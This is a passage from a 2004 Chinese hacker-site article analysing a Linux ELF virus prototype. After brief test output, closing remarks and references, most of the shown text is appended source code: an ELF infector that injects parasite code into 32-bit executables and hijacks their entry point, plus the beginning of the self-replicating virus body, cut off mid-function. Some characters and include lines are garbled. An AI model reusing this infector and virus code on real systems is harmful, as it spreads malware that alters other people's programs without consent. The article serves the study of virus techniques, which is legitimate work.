|
|
| 首页 | 技术文章 | 软件下载 | 博客 | 论坛 | 精品教程 | 黑客动画 | 视频资源 | 在线服务 | 黑客游戏 | | ||||
|
|
||||||||
|
||||||||
|
|||||
| 一个Linux病毒原型分析 | |||||
作者:grip2 文章来源:CnXHacker.Net 点击数: 更新时间:2004-12-23 ![]() |
|||||
|
grip2@linux:~/tmp/virus/test> ./foo . .. gei Better luck next file foo h Better luck next file .backup.h Better luck next file hh real elf point grip2@linux:~/tmp/virus/test> 六、** 最后 由于我既不是一个virus coder也不是一个anti-virus coder,所以对病毒 技术的掌握应该是有欠缺的。如果在文章中对病毒技术的描述不够准确,分析不够到 位,还请指正,谢谢。 七、** 参考文献 1 Silvio Cesare 的《UNIX ELF PARASITES AND VIRUS》 2 ELF文档 3 更多的安全技术交流 http://www.linuxforum.net/forum/showflat.php?Cat=&Board=security& Number=479955&page=0&view=collapsed&sb=5&o=31&fpart= 八、** 附录 - ELF文件感染工具和病毒原型源代码 ------------------------------ g-elf_infector.c ------------------------------ /* * gei - ELF Infector v0.0.2 (2004) * written by grip2 */ #include #include #include #include #include #include #include #include #include "gvirus.h" #define PAGE_SIZE 4096 #define PAGE_ALIGN(a) (((a) + PAGE_SIZE - 1) & ~(PAGE_SIZE - 1)) static int elf_infect(const char *filename, void *para_code, unsigned int para_code_size, unsigned long retaddr_addr_offset); int main(int argc, char *argv[]) { #define MAX_FILENAME_LEN 256 char backup[MAX_FILENAME_LEN*4]; char restore[MAX_FILENAME_LEN*4]; if (argc != 2) { fprintf(stderr, "gei - ELF Infector v0.0.2 written by grip2 fprintf(stderr, "Usage: %s return 1; } if (strcmp(argv[1], "-l") == 0) { fprintf(stderr, "Parasite code length: %d\n", ¶site_code_end - ¶site_code); return 1; } if (strlen(argv[1]) > MAX_FILENAME_LEN) { fprintf(stderr, "filename too long!\n"); return 1; } sprintf(backup, "cp -f %s .backup.%s\n", argv[1], argv[1]); sprintf(restore, "cp -f .backup.%s %s\n", argv[1], argv[1]); system(backup); if (elf_infect(argv[1], ¶site_code, ¶site_code_end - ¶site_code, PARACODE_RETADDR_ADDR_OFFSET) < 0) { system(restore); return 1; } return 0; } static int elf_infect(const char *filename, void *para_code, unsigned int para_code_size, unsigned long retaddr_addr_offset) { int fd = -1; int tmp_fd = -1; Elf32_Ehdr *ehdr = NULL; Elf32_Phdr *phdr; Elf32_Shdr *shdr; int i; int txt_index; struct stat stat; int align_code_size; unsigned long org_entry; void *new_code_pos; int tmp_flag; int size; unsigned char tmp_para_code[PAGE_SIZE]; char *tmpfile; tmpfile = tempnam(NULL, "infector"); fd = open(filename, O_RDWR); if (fd == -1) { perror(filename); goto err; } if (fstat(fd, &stat) == -1) { perror("fstat"); goto err; } #ifndef NDEBUG printf("file size: %lu\n", stat.st_size); #endif ehdr = mmap(0, stat.st_size, PROT_WRITE|PROT_READ, MAP_SHARED, fd, 0); if (ehdr == MAP_FAILED) { perror("mmap ehdr"); goto err; } /* Check ELF magic-ident */ if (ehdr->e_ident[EI_MAG0] != 0x7f || ehdr->e_ident[EI_MAG1] != 'E' || ehdr->e_ident[EI_MAG2] != 'L' || ehdr->e_ident[EI_MAG3] != 'F' || ehdr->e_ident[EI_CLASS] != ELFCLASS32 || ehdr->e_ident[EI_DATA] != ELFDATA2LSB || ehdr->e_ident[EI_VERSION] != EV_CURRENT || ehdr->e_type != ET_EXEC || ehdr->e_machine != EM_386 || ehdr->e_version != EV_CURRENT ) { fprintf(stderr, "File type not supported\n"); goto err; } #ifndef NDEBUG printf("e_phoff: %08x\ne_shoff: %08x\n", ehdr->e_phoff, ehdr->e_shoff); printf("e_phentsize: %08x\n", ehdr->e_phentsize); printf("e_phnum: %08x\n", ehdr->e_phnum); printf("e_shentsize: %08x\n", ehdr->e_shentsize); printf("e_shnum: %08x\n", ehdr->e_shnum); #endif align_code_size = PAGE_ALIGN(para_code_size); /* Get program header and section header start address */ phdr = (Elf32_Phdr *) ((unsigned long) ehdr + ehdr->e_phoff); shdr = (Elf32_Shdr *) ((unsigned long) ehdr + ehdr->e_shoff); /* Locate the text segment */ txt_index = 0; while (1) { if (txt_index == ehdr->e_phnum - 1) { fprintf(stderr, "Invalid e_phnum, text segment not found.\n"); goto err; } if (phdr[txt_index].p_type == PT_LOAD && phdr[txt_index].p_flags == (PF_R|PF_X)) { /* text segment */ #ifndef NDEBUG printf("text segment file offset: %u\n", phdr[txt_index].p_offset); #endif if (phdr[txt_index].p_vaddr + phdr[txt_index].p_filesz + align_code_size > phdr[txt_index+1].p_vaddr) { fprintf(stderr, "Better luck next file :-)\n"); goto err; } break; } txt_index++; } /* Modify the entry point of the ELF */ org_entry = ehdr->e_entry; ehdr->e_entry = phdr[txt_index].p_vaddr + phdr[txt_index].p_filesz; new_code_pos = (void *) ehdr + phdr[txt_index].p_offset + phdr[txt_index].p_filesz; /* Increase the p_filesz and p_memsz of text segment * for new code */ phdr[txt_index].p_filesz += align_code_size; phdr[txt_index].p_memsz += align_code_size; for (i = 0; i < ehdr->e_phnum; i++) if (phdr[i].p_offset >= (unsigned long) new_code_pos - (unsigned long) ehdr) phdr[i].p_offset += align_code_size; tmp_flag = 0; for (i = 0; i < ehdr->e_shnum; i++) { if (shdr[i].sh_offset >= (unsigned long) new_code_pos - (unsigned long) ehdr) { shdr[i].sh_offset += align_code_size; if (!tmp_flag && i) { /* associating the new_code to the last * section in the text segment */ shdr[i-1].sh_size += align_code_size; tmp_flag = 1; printf("[%d sections patched]\n", i-1); } } } /* Increase p_shoff in the ELF header */ ehdr->e_shoff += align_code_size; /* Make a new file */ tmp_fd = open(tmpfile, O_WRONLY|O_CREAT, stat.st_mode); if (tmp_fd == -1) { perror("open"); goto err; } size = new_code_pos - (void *) ehdr; if (write(tmp_fd, ehdr, size) != size) { perror("write"); goto err; } memcpy(tmp_para_code, para_code, para_code_size); memcpy(tmp_para_code + retaddr_addr_offset, &org_entry, sizeof(org_entry)); if (write(tmp_fd, tmp_para_code, align_code_size) != align_code_size) { perror("write"); goto err; } if (write(tmp_fd, (void *) ehdr + size, stat.st_size - size) != stat.st_size - size) { perror("write"); goto err; } close(tmp_fd); munmap(ehdr, stat.st_size); close(fd); if (rename(tmpfile, filename) == -1) { perror("rename"); goto err; } return 0; err: if (tmp_fd != -1) close(tmp_fd); if (ehdr) munmap(ehdr, stat.st_size); if (fd != -1) close(fd); return -1; } ------------------------------ g-elf_infector.c ------------------------------ ------------------------------ gvirus.h ------------------------------ #ifndef _G2_PARASITE_CODE_ #define _G2_PARASITE_CODE_ #ifndef NDEBUG #define PARACODE_RETADDR_ADDR_OFFSET 1704 #else #define PARACODE_RETADDR_ADDR_OFFSET 1232 #endif void parasite_code(void); void parasite_code_end(void); #endif ------------------------------ gvirus.h ------------------------------ ------------------------------ gvirus.c ------------------------------ /* * virus code in C (2004) * written by grip2 */ #include "gsyscall.h" #include "gvirus.h" #include #define PAGE_SIZE 4096 #define PAGE_ALIGN(a) (((a) + PAGE_SIZE - 1) & ~(PAGE_SIZE - 1)) #ifndef NDEBUG #define PARACODE_LENGTH 1744 #else #define PARACODE_LENGTH 1248 #endif #ifndef NDEBUG #define V_DEBUG_WRITE(...) \ do {\ g_write(__VA_ARGS__);\ } while(0) #else #define V_DEBUG_WRITE(...) #endif static inline int infect_virus( const char *file, void *v_code, unsigned int v_code_size, unsigned long v_retaddr_addr_offset) { int fd = -1; int tmp_fd = -1; Elf32_Ehdr *ehdr = NULL; Elf32_Phdr *phdr; Elf32_Shdr *shdr; int i; int txt_index; struct stat stat; int align_code_size; unsigned long org_entry; void *new_code_pos; |
|||||
| 文章录入:IceRiver 责任编辑:IceRiver | |||||
| 【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】 | |||||
| 最新热点 | 最新推荐 | 相关文章 | ||
| 如何分级防御针对Linux服务器 活地运用SQL Injection做数据 微软今日发布Windows Live测 微软更新Live Home 加日历和 微软报告称操作系统漏洞 今年 微软携安全厂商建统一战线 M 微软将开放Windows Live网络 Hotmail更新——Windows Liv 警惕:又一个通过 MSN传播的 Windows Live新主页类似Live |
网友评论:(只显示最新5条。评论内容只代表网友观点,与本站立场无关!) |
| 关于我们 - 版权声明 - 帮助(?) - 广告服务 - 联系我们 - 友情链接 - 用户注册 - | Powered by ICE RIVER - STUDIO |
| » CnXHacker.CoM | © CopyRight 2002-2006, CnXHacker.CoM™, Inc. All Rights Reserved. |